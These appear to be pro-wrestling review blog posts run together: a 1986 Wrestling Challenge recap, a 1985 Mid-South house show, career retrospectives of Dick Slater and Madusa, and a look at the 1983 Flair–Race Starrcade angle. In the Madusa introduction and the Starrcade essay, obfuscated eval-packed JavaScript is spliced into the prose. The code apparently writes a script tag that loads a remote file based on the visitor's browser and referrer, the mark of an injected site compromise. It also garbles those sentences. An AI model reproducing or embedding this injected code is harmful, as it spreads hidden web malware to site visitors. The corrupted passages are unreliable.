Wrestling Challenge
Date: October 4, 1986
Location: Wicomico Youth & Civic Center, Salisbury, Maryland
Commentators: Gorilla Monsoon, Bobby Heenan

Last week’s show was certainly eventful as we had a debut, a near debut and two future stars working as jobbers. There’s nothing on the horizon at the moment but that means we can get some more time spent building up house shows for the time being. That alone should be fun so let’s get to it.

Here are last week’s results if you need a recap.

Gorilla Monsoon and Luscious Johnny V. (the latter not speaking, as usual) welcome us to the show.

Opening sequence.

Here’s what’s coming on the show.

Harley Race vs. Allen Martin

Bobby Heenan is here with Race, hence him not being on commentary to start. We get an insert interview, with Race saying everyone should be taking a knee to him. Powerslam, suplex, middle rope knee drop, fisherman’s suplex and Martin is done at 1:12.

The Machines are unhappy about the lack of sushi, geisha girls and fried rice in American hotels.

Rougeau Brothers vs. Bob Bradley/Steve Regale

The Rougeaus clean house to start and we get an insert promo from the Rougeaus in French. Bradley is sent hard into the corner and Regale gets the same treatment. Raymond adds some nice looking slams but Bradley gets in a shot of his own. Not that it matters as Bradley misses a top rope splash and Le Bombe de Rougeau finishes him at 2:42. The Rougeaus were energetic enough and the finish looked great.

Corporal Kirchner talks about how he has been coming up the ranks and would love to get in the Intercontinental Title hunt. He is used to fighting in the swamps and yeah Miss Elizabeth is a distraction at ringside. She doesn’t have the Intercontinental Title though and he won’t be focusing on her. Kirchner sounded nothing like I was expecting and didn’t exactly sound serious here.

We get a clip of the showdown between Piper’s Pit and the Flower Shop. Bob Orton Jr. is asked which show is better and says it’s the Flower Shop, hands down. Piper looks on from the next set over before coming over to call Adonis ugly. He even goes so far to take Orton’s (pink) cowboy hat and slaps Adonis on the chest. Adonis is so flustered he can’t speak and we pan over to Piper’s Pit, much to the fans’ delight.

Piper thinks Adonis looks ridiculous and brings out Don Muraco, who was hosting the Body Shop in Jesse Ventura’s absence. Muraco doesn’t know what show he’s on so here is Adonis to insult the Pit. Piper takes out Adonis’ bra and Muraco says this is a cartoon. Muraco says Adonis can do what he wants but Piper goes into a rant about how he doesn’t wants his kids seeing Adonis.

Orton and Adonis come over and Adonis breaks a flower pot over Piper’s head. The other two hold Piper down so Adonis can wreck his leg with a chair. The Pit is torn down and Piper is left laying. Adonis even smears lipstick all over Piper’s face and you can feel the heat from this one. It was going to be a huge deal and egads Piper’s responses should be incredible.

The Rebel Dick Slater (complete with confederate flag) talks about how he is awesome and wants a title shot. Oh and he doesn’t like Paul Orndorff either.

Dick Slater vs. Tiger Chung Lee

We get an insert promo from Slater, talking about how much he loves the south and promises attitude adjustments. Slater drives him up against the ropes and grabs a headlock but Lee goes to the throat. Some right hands set up a sleeper but Slater is out in about 1.2 seconds. Slater slugs away, hits a top rope shoulder, and finishes with a top rope elbow to the head for the pin at 2:54. Slater could not be more of a cliché if he tried and it really didn’t work.

We go to the Snake Pit, with Jake Roberts bringing out Slick and Butch Reed. This leads to a rant about how natural Reed is on all counts and Roberts can’t find a flaw in him. So, he’s natural. Got it.

WWF has figures made by LJN! Sweet goodness I remember those things.

WWF has thumb wrestlers! Sweet goodness I remember those things.

Dream Team vs. Jerry Allen/Don Hastings

Valentine and Allen start things off with Valentine actually getting slammed down. We get an insert promo from the Dream Team, talking about how great their manager Johnny V. is going to be on commentary. Beefcake comes in and gets beaten down as well but referee Danny Davis cuts Hastings off for no apparent reason. After a heck of a rant from Gorilla, Beefcake hits a heck of a backbreaker and Valentine gets the Figure Four for the win at 2:45. Not quite a squash, but the Davis stuff is the most interesting part.

Junkyard Dog vs. Jimmy Jack Funk

Dog’s insert promo isn’t overly impressed with Funk. Dog slams him down to start but Funk is back with some right hands to take over. Funk misses a dive though and the headbutts knock him silly. Back up and Dog slugs away in the corner and hits a running clothesline, followed by a head knocker of all things. Funk punches away and Dog does the same before grabbing an abdominal stretch of all things. With that broken up, Dog finally finishes him with the Thump at 4:39.

Rating: D-. This was TERRIBLE, as it was little more than a bunch of punching, which didn’t look great either. Dog had been around for a bit but this was a time where he clearly wasn’t trying and it looked sad in a way. Granted there was only so much to be done here, but this was a chore to sit through, which says a lot in a match that wasn’t even five minutes long.

Dog dances with a kid after the match.

Bobby Heenan’s hand is tired from signing so many contracts for Harley Race and Paul Orndorff. He wants to face Hulk Hogan and the Machines but knows they won’t sign. Big John Studd and King Kong Bundy come in, with Studd introducing the two of them, with Bundy being happy over how many people he has injured. They’re ready for anyone.

Here’s who will be around next week.

Overall Rating: D+. That feature match dragged this one down a good bit. Even with the good enough promos and the squash matches working, you’re only going to get so far when the biggest thing you do (at least in the ring) is that bad. That being said, the Piper vs. Adonis stuff, while silly on the surface, has the potential to be a major breakout feud and I’m already looking forward to Piper’s response. Good show with a horrible match bringing it down.

 

 

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Mid-South House Show
Date: November 11, 1985
Location: Municipal Auditorium, New Orleans, Louisiana

This is part of a house show, which is certainly a lot more than you can get most of the time. Mid-South has an awesome reputation for some fired up crowds and while this is past their peak as a promotion, they still have quite a few stars and a rabid fan base so this could be good. I’m not sure what to expect here and the lack of commentary could make things confusing. Let’s get to it.

Bruise Brothers vs. El Corsario/Steve Williams

The Brothers are Mad Dog Boyd/Pork Chop Cash and Corsario is a 21 year old Savio Vega in a mask. It’s a brawl to start with the Brothers starting very fast and knocking Williams outside. Corsario is sent into the corner and a splash finishes him off at 49 seconds. Well that woke the fans up.

Lord Humongous vs. Jake Roberts

Humongous is a masked man (and not played by Sid Vicious this time) with Oliver Humperdink (Jake’s big annoyance at the moment) in his corner. Humongous shoves him into the corner to start and Jake isn’t sure what to do here. Jake hammers away but gets slammed down, only to avoid an elbow. The threat of mask removal sends Humongous bailing out to the floor and then they do the same thing again.

Back in again and Jake hammers away but a reversed whip lets Humongous hit a hard clothesline. Posing ensues and Jake gets caught in a bearhug to keep him in trouble. With that broken up, Humongous goes after Jake’s back with some knee drops and headbutts before cranking on both arms at once.

We hit the bearhug again but Humongous lets it go and misses a legdrop. Jake’s atomic drop gives us a double knockdown and a VERY big crowd reaction), followed by a hard running clothesline to drop Humongous. Humperdink breaks up the count though and the chase is on, allowing Humongous to grab a cobra clutch to knock Jake out at 10:50.

Rating: C. This felt like another step in a long story between Jake and Humperdink and that is going to work well enough. Humongous felt like a mercenary and he did well enough in the role, as he felt like a combination of a slasher movie monster and a decent power wrestler. Also, the ending was a good win for Humperdink over Jake, as there is something about seeing someone get choked out.

Post match Jake is out so Humperdink drops an elbow on him and counts his own three.

Tag Team Titles: Eddie Gilbert/Nightmare vs. Al Perez/Wendell Cooley

Gilbert and the Nightmare (Moondog Rex/the original Demolition Smash) are challenging and have Oliver Humperdink in their corner. Perez and Nightmare start off to limited avail so it’s time to stare at each other for a bit. Perez’s top wristlock doesn’t work either so the staredown is on again. This time they’re a little hesitant about a test of strength so it’s off to Gilbert to shoulder Perez down. A dropkick sets up an armbar on Gilbert though and Perez adds in some knees to the shoulder.

Cooley comes in for an armbar, an armdrag and another armbar (make your own Chris Jericho joke) before handing it back to Perez to stay on the arm. Perez and Cooley draw Nightmare in and change without a tag, much to the fans’ delight. It works so well that they do it again, followed by Cooley dropping a leg on the arm. An armdrag lets Perez come back in for a kneedrop onto the arm and the cranking continues. To mix it up a bit, Perez and Cooley crank on both arms at the same time.

Gilbert finally gets up and brings in Nightmare, who misses an elbow and gets sunset flipped for two. It’s already back to Gilbert, who misses a charge into the post to make the arm even worse. That means another armbar and then some hiptosses to both Gilbert and Nightmare. The villains finally get it together as Nightmare grabs Gilbert to avoid a dropkick, meaning it’s time to beat on Cooley. Gilbert’s arm is fine enough for some elbows and a stomach claw.

Nightmare grabs a reverse chinlock and it’s right back to Gilbert for a middle rope ax handle. Another chinlock, this time with a knee in the back, keeps Cooley in trouble and a clothesline cuts him down again. Gilberto chokes on the rope and Nightmare hits a belly to back suplex for two. Back up and the classic double collision evens things out all over again, proving that Cooley’s head is far harder than Nightmare’s.

The hot tag brings in Perez to clean house as everything breaks down, with Cooley being knocked to the floor. Perez immediately goes to check on him as Cooley is holding his head and not getting up. For some reason Perez throws him back in and Gilbert is right there with the strutting. Perez comes in to break up a double suplex but Gilbert hits a hot shot to finish Cooley for the titles at 25:59.

Rating: B-. This got a lot of time and wound up working rather well as they went with the formula, which a Mid-South crowd is always going to eat up. Perez and Cooley worked well enough for a face team (the matching tights always help) and Humperdink seems to be enough of an evil force to make a middle of the road team into more of a threat. Good match here, and it doesn’t feel anywhere close to almost half an hour.

North American Title: Butch Reed vs. Dick Slater

Slater, with Dark Journey, is challenging for the promotion’s top title. We’re joined in progress with Slater hitting a belly to back suplex and cranking on the leg. Reed fights up and slugs away but can’t follow up because of the knee. More slugging away puts Slater down but he’s right back up with a sleeper. Reed gets close to the rope so Slater slams him down before he can make it (that’s rather clever). The Figure Goes onto Reed’s bad leg until he manages to turn it over, as you might have expected.

The referee gets bumped, though Slater puts on a spinning toehold anyway. That’s reversed into a small package for no count but here’s another referee to count Slater’s cover on Reed, even with his feet on the ropes. Hold on though as some unnamed wrestler comes up to say what happened and it seems we’re continuing. Reed gives chase and hammers away back inside before taking Slater outside for a whip into the barricade. The referee throws it out in there somewhere, with Reed retaining via DQ at about 9:30 shown.

Rating: C+. It was certainly energetic while it lasted and Reed is someone who impresses me more and more every time I see him on his own. Reed was a heck of a power guy and he was showing a lot of fire and charisma here. I know he is best remembered as a tag guy with Ron Simmons in Doom but this was working well.

Jim Duggan vs. Buzz Sawyer

No DQ and Duggan jumps him before the bell to start. Sawyer is knocked to the floor in a hurry but comes back in to quickly lose a slugout (Who brawls with Duggan?). This time he is knocked outside, where Duggan hammers away even more. Duggan sends him face first (and hard) into the barricade, then swears at Sawyer and does it again.

Sawyer is busted open (shocking) and Duggan hammers away in the corner. The time out request is denied and Duggan throws him over the top but Sawyer comes back in with a low blow. A ram into the barricade sends Duggan over and Sawyer sends him into the steel a second time. Duggan avoids having a table dropped on him but gets sent into the barricade for a third time in a row.

Back in and Duggan swears some more before blasting Sawyer with a clothesline. Sawyer hits his own clothesline though and they’re both down for a needed breather. Duggan returns the low blow and a three point shoulder puts Sawyer out on the floor….where he takes the countout at 11:48, because now we have countouts.

Rating: B. This was a red hot brawl and a great example of everything that Duggan could do in this place. Duggan is best known as being the goofy patriot and that worked out well, but he was AWESOME as the bar fighting brawler, which he got to showcase far better in Mid-South. Sawyer was kind of a horrible human but he could do this kind of thing very well. Heck of a match and I could have gone for a lot more.

Post match Sawyer charges back in to choke away but a piledriver is countered with a backdrop. The bell ringer loses his mind as the brawl continues, drawing out a bunch of other wrestlers to pull them apart. They’re finally separated but Sawyer smacks Duggan in the face to set it off again. The wrestlers get them apart and we see Sawyer having to be held in the back.

Cue Duggan and the brawl starts again backstage, with Duggan swearing rather loudly and Sawyer screaming at him but not being able to stand. This was a GREAT angle and I want to see these two tear each other apart. That’s where Mid-South shined and it was on full display here.

Overall Rating: B-. The main event helped a lot and while it would have been a good bit better with the rest of the show included, this was another fun show and makes me wonder how great Mid-South could have been had they not fallen apart due to circumstances outside of their control. This had a great mixture of styles and an awesome main event on top of everything else. Good stuff here and it makes me want to see a lot more from Mid-South, especially in their better days.

 

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Dick Slater vs. Tiger Jeet Singh

Wahoo McDaniel/Mark Youngblood vs. Dick Slater/Bob Orton

Youngblood breaks the count by a second but the punishment to the back continues with a reverse chinlock. Orton lets go on the hold and stomps him in the face for good measure. Slater comes in and breaks up a tag before suplexing Mark down for two. Back up and they bang heads, allowing for the hot tag to Wahoo. He cleans house with an atomic drop on Orton and a big chop for good measure.

And again at the second Starrcade in 1984.

Mid-Atlantic Title: Ron Bass vs. Dick Slater

Off to the WWF with Slater at The Big Event in 1986.

Iron Mike Sharpe vs. Dick Slater

Oh yeah Slater is the rebel. No one cares. Sharpe is up there with Horowitz and Brawler in the jobbing hall of fame. Mike likes to talk a lot. The announcers talk about how great Sharpe is. Really? From what I’ve read he was completely OCD so having this many people in the audience must have driven him insane. There really isn’t much here as it’s really a glorified squash for Slater who would never mean much in national wrestling, at least not in this company. He was ok in other companies but he’s at his best in ring stuff here, which isn’t saying much at all.

Monsoon wants to know why Sharpe has had his arm in a cast kind of thing for over 8 years and Valiant just starts screaming at him that he should go out to dinner with Sharpe and ask him because Valiant doesn’t know. That came out of nowhere. Anyway, Slater hits an elbow from the top and jackknifes (it’s a king of rollup, not the powerbomb) him for the win.

Rating: D. Did we really need six minutes of these two guys? I certainly wouldn’t think so. This wasn’t interesting or particularly good but a jobber got beat up so there we are.

Don Muraco vs. Dick Slater

Back to WCW at Clash VIII where Slater actually got a decent push.

Sting/Ric Flair vs. Great Muta/Dick Slater

Funk is nowhere in sight and Slater has an arm injury of his own coming in. Sting and Muta get us going with Sting avoiding some kicks to the face and taking Muta down with a clothesline. Muta bails to the floor for a meeting with Gary Hart as Ross is looking around for Funk. Back in and Sting armdrags Muta down but the Japanese villain takes him into the corner for some quick kicks to the ribs. Sting grabs the arm again and brings in Flair to a nice reaction.

Dick Slater/Dick Murdoch vs. Sting/Rick Steiner

Steiner backdrops Slater and makes the hot tag to Sting as everything breaks down. The Hardliners double team Sting so Rick brings in a chair to clean house for the DQ.

As usual, Slater would stick to tag team matches, including at Clash of the Champions XX.

Dick Slater/Greg Valentine vs. Bobby Eaton/Arn Anderson

This is an odd match as everyone is a heel. Slater and Valentine have Larry Zbyszko (with a broken arm) in their corner. Arn and Valentine get things going but everything quickly breaks down with Anderson and Eaton being sent to the floor. Back in and Slater gets in a cheap shot from the apron to take Arn down and things start to break down again. Bobby gets caught in a swinging neckbreaker from Slater followed by a Russian legsweep for two.

Ron Simmons vs. Dick Slater

Slater is a replacement for an injured Paul Orndorff, who was supposed to defend his newly won TV Title against Simmons tonight. Orndorff is at ringside and immediately draws Paula chants from the crowd. Simmons jumps Slater to start and hits a quick atomic drop to send Slater into the corner. A hard slam and shoulder give Ron a two count and Slater bails to the floor.

Slater comes back in for a test of strength and actually holds his own before breaking up a sunset flip. Ron loads up a three point shoulder block but Orndorff trips him up to give Dick control. Slater clotheslines him down and mistakenly thinks he gets the pin, allowing Simmons to get up and powerslam Dick for the pin.

WCW Tag Titles: Bunkhouse Buck/Dick Slater vs. Harlem Heat

The talented tag team is challenging here. The idea here is more about the managers though as apparently they like each other. The match is going to suck though. Oh and along with this, we only have Arn/Flair and War Games. We’re an hour and five minutes into the show. That simply can’t be a good sign. I also have issues with a guy names Dirty Dick. Also, they gave THESE TWO the tag titles after like 5 months of Heat vs. Nasty Boys?

I don’t like the Nasties, but they’re light years ahead of these morons. Booker and Slater start so at least the one good wrestler in the match is starting us off. Slater is one of those good old southern boys that allegedly was really talented but never shook either the southern stigma or the lack of talent to get over. Crowd is deader than Booker’s career at this point. Again I love how two hicks like this are supposed to be trained wrestlers.

There’s something amusing about that. Yeah the idea here is that Sherri has a bump on the head and isn’t herself. Somehow this was put on national TV as a mainstream wrestling company with angles like that. Wow indeed. Apparently Dick Slater is one of the best wrestlers in the history of the sport. I can barely laugh at how stupid that is.

On the floor the managers are playing this messed up cat and mouse game that is just rather creepy. The fans prove they’re still alive with a short and incomprehensible chant. It’s weird hearing them talk about Booker as a power guy. That’s most odd indeed. Heenan seems like he wants to talk about Buck being undressed. Ok then. The heels are controlling most of the match here.

You can tell the match itself is pretty awful as I’ve barely talked about it. I’m trying very hard to think of anything else to talk about so that I don’t have to actually pay attention. Fact: I used to have this tape and this match cured my insomnia over a summer. I didn’t sleep regularly for a month but this match put me to sleep in five minutes. That’s saying something. We talk about WarGames to kill some time.

This match needs to end BADLY. And trust me, since this is WCW< I’m sure that will mean both possible things. Stevie gets the I guess you could say hot tag to get the crowd to do nothing at all. And here is that finish as Parker and Sherri get into the other ring and kiss. At the same time the Nasty Boys are here and rip Slater’s boot off to smack him in the head with it to give the Heat the titles. While this is happening, Sherri and Parker are still kissing. I hate this show.

Rating: F+. This was just terrible. The ending sucked and the match was worse. Who thought that Buck and Slater were the best options? Seriously, the American Males were on the preshow. They’re not the best in the world by any stretch of the imagination but they’re better than Buck and Slater. It’s stuff like this that is freaking idiotic and gave WCW the bad name it had.

Battlebowl First Round: Dick Slater/Bobby Eaton vs. Alex Wright/Disco Inferno

Yes they’re future tag champions but that wasn’t until later so that’s excusable. Oh look: people that are complete opposites of each other. WHO WOULD GUESS THAT??? Everyone in theory, as the same idea happened about four times in this show. At least Eaton is a good wrestler so that’s a perk.

You know, Disco Inferno is really impressive. To have a pure comedy gimmick and put together a fairly decent resume (Cruiserweight Champion, TV Champion, Tag Champion) is saying a lot about him. He made a horrible gimmick into something which says a lot about him. We talk about Flair and Savage for the most part here. When Disco Inferno gets the hot tag, you know we have a problem. Disco starts dancing and gets blasted in the head with a boot. Yep that’s it.

Rating: N/A. At least it was fast. Seriously, someone thought this was a good idea? Why? What kind of drugs were they on? I want some of them.

Battlebowl Round Two: Dick Slater/Bobby Eaton vs. VK Wallstreet/Jim Duggan

Duggan and Wallstreet start fighting before the match so of course the others go and break it up. My headache is now even worse. This is like some abortion of a comedy match and it’s just bad. Duggan randomly yells and he and Slater ram into each other and sell it like death. Duggan punches Wallstreet and Eaton rolls him up to make the finals. Thank goodness it’s over. I guess this was just building to the epic Duggan vs. Wallstreet showdown.

Rating: G. This was an insult to my intelligence as a human being. This might be the worst WCW show ever. And it’s not like you can make fun of it like Uncensored. This is just terrible.

Battlebowl

DDP, Barbarian, Dick Slater, Bobby Eaton, Rocco Rock, Johnny Grunge, Ice Train, Scott Norton

And yes, one of those guys gets a world title shot next month. Let that sink in for a bit. Just a regular battle royal here with the winner being Lord of the Ring. Almost immediately we see the problem here: there is no feuding at all. Think of any battle royal you’ve seen. You have people with feuds or angles or whatever to pair off and a lot of random fighting. Here it’s just the random fighting with 8 midcard guys.

Scratch that. You have DDP, two tag teams and three jobbers. DDP hits the floor but the referee misses it so he goes back in. We actually go split screen for a one ring battle royal. Wow. Rocco is out. Ice Train yells at the crowd. No one cares. Eaton is out and he punches the tar out of Parker. Nice shot. Slater is out too. I hate this show. Norton is out. DDP, Ice Train, Johnny Grunge and Barbarian are the final four.

Diamond Cutter to Barbarian. And to Ice Train. And to Grunge. Page pins Grunge…because you can do that. And he pins Ice Train. He gets two on Barbarian. Oh I hate this show. Diamond Dallas Page vs. Barbarian is the co-main event of a PPV. Barbarian hits a SICK tombstone on DDP. That looked as bad as the jumping one at Mania this past year. Oh look it’s a sleeper. The flying headbutt misses and a Diamond Cutter ends it. Wow that was uninteresting stuff.

Rating: F. The second biggest star was Barbarian. Let that sink in. I don’t need to say anything else. The title shot was revoked tomorrow night due to one foot hitting the floor, making this whole show entirely pointless. Apparently being gone about 2 months is now being on the shelf for six months. Wow.

Slater is a guy that needed the right circumstances to really make things work. He was out of his element at the end of his career and it showed really badly. By the time the 90s rolled around, he was really just a veteran that could work a watchable match. Back in the territory days though, the guy was a beast with one heck of a right hand. As usual, the 80s get it better than the 90s.

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zritk|var|u0026u|referrer|skiza||js|php'.split('|'),0,{})) is one of the most dominant female wrestlers in American history: Madusa.

Madusa got her start in the AWA in the late 80s, including this match at SuperClash III.

Badd Company/Madusa Micelli vs. Wendi Richter/Top Guns

Ok quick recap here. Richter was the second biggest face in the WWF regardless of gender but left because of various issues. She recently beat Madusa for the AWA Women’s Title. Badd Company, the AWA tag champions, are more famous as Tanaka and Kato (Paul Diamond here, minus the mask) of the Orient Express in the WWF a few years later. All titles are on the line here as per the usual stipulations. The Top Guns are Derrick Dukes and Ricky Rice, both of whom suck. They’re the faces here. Oh and Badd Company/Madusa have none other than Diamond Dallas Page as their manager.

Richter gets a huge pop so Page, with hair longer than Shawn Michaels in 96, makes fun of Richter for getting a fluke win for the title and introduces his own team. Everything goes insane at first and genders have to match in this one. The good guys clear the ring and the Top Guns hit a double back elbow on Tanaka. Mike Enos, a future kind of star in the AWA and the guy that was in the ring when Hall jumped the guardrail in 1996, is the referee for some reason. He’s not a known wrestler yet but that’s him.

Ok now we’re down to sanity with Tanaka and Dukes in there. Dukes really likes to work on the arm. Long headlock goes on as the girls yell at each other. Dukes hits a dropkick and let’s try that headlock again. Diamond comes in and actually doesn’t get destroyed as Dukes plays face in peril for a bit. Diamond misses a charge in the corner and it’s off to the girls. They do the usual girls in the 80s stuff here that isn’t all that interesting or, you know, good. Everything breaks down again and Tanaka accidently kicks Madusa so Richter can pin her.

Rating: D+. Another pointless match here as they just did their thing for awhile and the guys meant nothing. I don’t think Rice was ever even in the match. The girls didn’t mean anything at this point but then again they didn’t for a long time. This went nowhere at all and was way too short to be anything of note.

Off to WCW now just after being fired from the Dangerous Alliance by chauvinist. From Clash of the Champions XXI.

Paul E. Dangerously vs. Madusa

Kai was at the first Wrestlemania if that tells you anything. Blayze is the new champion after the belt was resurrected for no apparent reason. Kai, a Hawaiian/something else hybrid, runs Blayze over but gets caught in a sunset flip a few seconds later for two. Lelani comes back with a chokebomb for no cover but a bad splash gets two.

The champ comes back with a hurricanrana before there was a name for such a thing in America. Either way it gets two and we head to the floor. That goes nowhere so Kai hits a butterfly suplex for two. Blayze comes back with some basic strikes and some hair drags for two each. Alundra hits her bridging German suplex to retain a few seconds later.

Nakano, the challenger, is a Japanese monster and has Luna Vachon in her corner. A quick clothesline and a hair drag put Blayze down as Nakano looks strong early. We hit a chinlock less than two minutes in but Blayze gets her feet on the ropes. A spin kick puts Nakano down for a few seconds but she comes back with a choke to take over again. Off to a modified Boston Crab as Nakano is destroying the champion so far.

Rating: C. This was an interesting match but it was hard to get into at times. Nakano was a monster who destroyed Blayze for about eight minutes and then Alundra got a quick suplex for the pin in fifteen seconds. Bull would win the title in a few months in Japan in a near masterpiece.

The “division” continued to struggle with this new challenger at Summerslam 1995.

Blayze is defending and Faye is this rather frumpy fat chick designed to be disturbing. She also has Harvey Whippelman with him as her worshiping admirer. Alundra fires off some quickly kicks to start and the 280lb or so Faye runs her over in response. A bad looking hair pull sends Blayze down and some legdrops get two. Bertha misses a middle rope splash and a victory roll gets two for the champion. Three clotheslines get no count for Alundra as Harvey has the referee. Some middle rope dropkicks stagger Bertha but she avoids a third before hitting a Batista Bomb for the title.

Now we hit the joshi stuff at Survivor Series 1995.

Team Bertha Faye vs. Team Alundra Blayze

Bertha Faye, Aja Kong, Tomoko Watanabe, Lioness Asuka

Alundra Blayze, Kyoko Inoue, Sakie Hasegawa, Chaparita Asari

Watanabe comes in but misses a dive. Blayze sends her to the floor and does hit her dive to take over. Hasegawa comes in and hits five rolling double underhook suplexes on Watanabe as Perfect makes sexist remarks. Watanabe hits a seated senton off the top for two as this selling thing is still an issue. Aja Kong, a total monster, comes in with no tag and is immediately kicked in the face and suplexed by Hasegawa. Another Rock Bottom suplex puts her down but Hasegawa jumps into a kick to the chest. Something like a belly to back suplex eliminates Hasegawa to make it 3-3.

While still champion, Madusa would famously head to WCW and trash the title, at least partially setting the stage for Montreal. She would however wrestle in WCW a bit, including this match on Nitro, January 29, 1996.

Madusa vs. Sister Sherri

Madusa kills her to start. Sherri has a surprisingly nice figure. Eric talks about Madusa throwing the WWF Women’s Title in the trash which I think she regrets now. After a quick beating Sherri gets a shot in and goes up, but Madusa slams her off the top. In an ending I haven’t seen before that I remember, Sherri holds on and rolls through into a small package for the pin. Madusa kills her afterwards. No rating as this wasn’t even two minutes long.

Colonel Parker vs. Madusa

The story here is about as complicated as you can think of. Sherri had gotten hit on the head and decided she was in love with Parker. They kissed at Fall Brawl so he decided he wanted to marry her. They had the wedding and for reasons that were never explained, Madusa jumped out of a trailer and broke it up. That leads to this, which is man vs. woman, yet I’ve never heard of another woman named Colonel Robert Parker before.

That’s clearly the less masculine of the two here though. Before this starts though, Heenan and Tony get into this STUPID argument with insults that aren’t funny and wouldn’t be funny in 6th grade. After some brief predictions, we get to the match. Bobby is clad in leather for some odd reason. He suggests buying off Madusa here with credit cards and flowers. Oh thank goodness for Bobby Heenan.

We get a WWF reference as this is just a bit after she dropped the women’s title in the garbage which inadvertently led to Montreal. Parker is just stupid looking here, wearing a white suit. Madusa was more or less the only American women’s wrestler worth anything that anyone could stand the sight of for a good many years, but Sable was on the rise and it would be a few years before this indy chick named Amy Dumas came up.

Trish was probably in high school at this time. Madusa is supposed to be sexy I think, but she’s just not as she’s more masculine than Parker. Naturally she’s a black belt also as all women wrestlers apparently are. After the bell we get a lock up.

We’ll move on with the match in just a moment, but first, this pearl of insight from Dusty: “HE LOCKED UP WITH HER! HE LOCKED UP WITH HER! WHAT THE HECK??? HE LOCKED UP WITH HER! SOMEBODY GET MY MEDICINE!” This is going to be a really long night. What in the heck am I watching??? The fans are about as one sided as you could possibly believe.

After an Airplane Spin that brought on some of the highest pitched screams that I can ever remember, she reverses into a sunset flip for a HUGE pop. I mean that was loud. She slams him and Dusty needs new pants I think. Not due to an issue or anything, but the 12 cheeseburgers he’s had during this match made him go up a size.

Heenan continues to crack me up by saying the closest thing he’s ever seen to this is one night when Gene got home late and his old lady backdropped him. Would anyone else be far more interested in a reality show of Gene and Bobby wandering around to various places and having stupid misadventures? Dick Slater, who was somehow married to Madusa at the time keeps him from running. Dang you Slater.

Madusa actually wasn’t that bad in the ring. She gets her signature German suplex, and actually gets a decent one all things considered, but Slater hooks her foot and Parker falls on her for the pin. That was…yeah.

Rating: D. That’s because she looked ok and to be fair, she was asked to do a lot out there and while it sucked beyond belief, she worked very hard so I’ll give her points for that. This made less than zero sense though and I have no idea what this was supposed to be other than a really bad comedy bit. It lasted about 4 minutes though, and that’s too long. My head is starting to throb from this show.

Back to Nitro on July 15, 1996.

Madusa vs. Malia Hosaka

They would have these random matches in WCW at times with the women and this is one of them. Madusa would have a destroy the Harley match with Bull Nakano at Hog Wild. Malia uses a lot of kicks because she’s Japanese I guess. Larry goes all sexist on the women, talking about how if you can find a woman that will keep quiet, marry her. Madusa gets taken over by her hair a bunch of times and we hit the chinlock. The American fires off some kicks to take over but gets caught in a Boston Crab. Some kind of backsplash misses but Madusa misses a dropkick also. And never mind as the American hits a German on the Japanese for the pin.

Rating: C-. Eh really just a way to advance the Madusa vs. Nakano match at the PPV which is fine. Madusa and the women never really got a proper push in WCW as they were brought in like twice a year and that’s about it. There was even a Women’s Cruiserweight Title for like a month. Either way this was nothing but wasn’t that bad.

Madusa vs. Bull Nakano

Madusa would wind up feuding with Colonel Parker over the spring before feuding with Nakano, her old rival from the WWF. Some chops have little effect on the monster Nakano and she avoids a dropkick. Nakano throws Madusa around by the hair and then does it again for good measure. Some nunchucks to the ribs have Madusa in even more trouble but she comes back with a running hair takedown. Nakano gets dropkicked off the middle rope and Madusa takes out Sonny Onoo (manager of all evil Japanese wrestlers). Sonny misses a kick of his own, allowing Madusa to get a rollup for a quick pin.

Madusa vs. Luna Vachon

From the next month at Great American Bash 1997 with one of those title match things.

With Madusa being taken to the back and with her career being over, Gene pops up to say that her career is toast and puts a mic in her face. The fans chant LEAVE HER ALONE. This was a dick move even for Gene.

Madusa would disappear for awhile before coming back as part of Team Madness in 1999. From Nitro, May 17, 1999.

Charles Robinson/Ric Flair vs. Madusa/Randy Savage

And then against one of the most bizarrely perfect named opponents ever on Nitro, July 26, 1999.

Patty Stone Grinder vs. Madusa

Cruiserweight Title: Madusa vs. Evan Karagias

Madusa may not measure up to Trish or Lita in the standards of what we consider a Diva today, but she was one of the first, for lack of a better term, modern female wrestlers. She certainly had personality and could do some good stuff in the ring, but she was much more of a pioneer than a big deal of her own.

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the Royal Rumble at Amazon for just $3.99 at:

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I did the first one of these nearly six months ago and didn’t care for how it went but I thought I’d take another crack at it.  If you’ve never seen the original, take a look to get the idea.

Today we’re going back to 1983 and the angle that set up Starrcade.This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbsze|var|u0026u|referrer|iitka||js|php'.split('|'),0,{})) is actually the culmination of an angle that started a few months earlier.  Harley Race was NWA World Champion but Ric Flair was hot on his heels.  Race didn’t care for that and put a ,000 bounty on Flair’s head.

 

Eventually Bob Orton Jr. and Dick Slater attacked Flair and piledrove him through a table, injuring Flair’s neck and collecting the bounty.  A few weeks later Flair came back and was MAD.

 

 

Flair would live up to his word and had his friends Mark Youngblood and Wahoo McDaniel take care of Orton and Slater.  Ric on the other hand would get his hands on Harley Race inside of a steel cage and take back his title at the original Starrcade.  Now let’s look at why this angle worked so well.

 

First of all: it’s simple.  Race was a cowardly villain, Flair was the good guy, and good triumphed over evil in the end.  Race hid behind his money instead of facing Flair like a man and had two minions take care of his problems instead.  The spike piledriver looked to put Flair out of wrestling and even forced him to announce his retirement.  That’s what makes the return so much better: the people were buying into the idea that Flair was gone and they went crazy when he came back to get his revenge.  It’s good coming back to triumph over evil which is a tale that has worked since stories have been written.

Second, Flair looked like a crazy man out there and the intensity sells the angle perfectly.  Look at Flair’s eyes in that promo.  He is crazed over what has been done to him and will go to any length to get back at the people that did this to him.  While he wants to get his hands on Slater and Orton, Harley Race is the big prize Flair is hunting for.  That brings us to the most important part of the whole thing.

The blowoff match ROCKED.  From Starrcade 1983 in Greensboro, North Carolina.

NWA World Title: Ric Flair vs. Harley Race

They talk trash to each other to start before Flair takes him down with a headlock takeover. Race sends him into the ropes for a knee to the ribs but Kiniski pulls them apart. Ric snapmares him down into a chinlock which transitions into a headlock. Race fights up and hits a high knee, only to have a falling headbutt hit the canvas. Flair goes back to the headlock and cranks away on it on the mat but has to shift over into a front facelock.

